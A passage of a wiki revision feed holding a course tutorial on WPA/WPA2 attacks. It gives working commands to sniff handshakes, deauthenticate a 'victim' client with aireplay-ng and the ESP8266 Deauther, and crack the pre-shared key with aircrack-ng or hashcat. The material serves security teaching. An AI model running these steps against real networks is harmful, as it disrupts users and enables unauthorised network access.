    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
 # Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
 sudo airport $INTERFACE sniff $CHANNEL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disassociate from any network: (-z --disassociate)&lt;br /&gt;
 sudo airport -z&lt;br /&gt;
&lt;br /&gt;
* Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
 sudo airport -c&amp;lt;b&amp;gt;$CHANNEL&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Capture a beacon frame from the AP&lt;br /&gt;
 sudo tcpdump &amp;quot;type mgt subtype beacon and ether src &amp;lt;b&amp;gt;$BSSID&amp;lt;/b&amp;gt;&amp;quot; -I -c 1 -i &amp;lt;b&amp;gt;$INTERFACE&amp;lt;/b&amp;gt; -w beacon.cap&lt;br /&gt;
&lt;br /&gt;
* Wait for the WPA handshake&lt;br /&gt;
 sudo tcpdump &amp;quot;ether proto 0x888e and ether host &amp;lt;b&amp;gt;$BSSID&amp;lt;/b&amp;gt;&amp;quot; -I -U -vvv -i &amp;lt;b&amp;gt;$INTERFACE&amp;lt;/b&amp;gt; -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
* Merge the two files&lt;br /&gt;
 mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt; (or John the Ripper).&lt;br /&gt;
&lt;br /&gt;
* Convert .cap to .hcapx file (Part of &amp;lt;i&amp;gt;hashcat-utils&amp;lt;/i&amp;gt;)&lt;br /&gt;
 cap2hccapx capture.cap capture.hccapx&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Crack using a simple dictionary attack:&lt;br /&gt;
 hashcat -m 2500 capture.hccapx wordlist.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed with Wireshark, filtering for &amp;lt;i&amp;gt;eapol&amp;lt;/i&amp;gt; messages.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
 aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&lt;br /&gt;
: -0 means deauthentication&lt;br /&gt;
: 1 number of deauthentication frames sent&lt;br /&gt;
: -a bssid mac address&lt;br /&gt;
: -c victim mac address to deauthenticate&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, with Wifi interface card&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx 1.0)&lt;br /&gt;
* [[DSTIKE Deauther Watch V1]]&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=4729</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=4729"/>
		<updated>2020-11-08T15:34:35Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Minor fix&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
* Install aircrack-ng suite: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Install Homebrew, the Missing Package Manager for macOS (or Linux): &amp;lt;code&amp;gt;/usr/bin/ruby -e &amp;quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode&lt;br /&gt;
 &lt;br /&gt;
   airmon-ng&lt;br /&gt;
      PHY	Interface	Driver		Chipset&lt;br /&gt;
      phy0	wlan0		iwlwifi		Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY	Interface	Driver		Chipset&lt;br /&gt;
      phy0	wlan0mon	iwlwifi		Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device&lt;br /&gt;
&lt;br /&gt;
   airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplican&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
 airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
 				   The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
 # Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
 # Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
 sudo airport $INTERFACE sniff $CHANNEL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disassociate from any network: (-z --disassociate)&lt;br /&gt;
 sudo airport -z&lt;br /&gt;
&lt;br /&gt;
* Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
 sudo airport -c&amp;lt;b&amp;gt;$CHANNEL&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
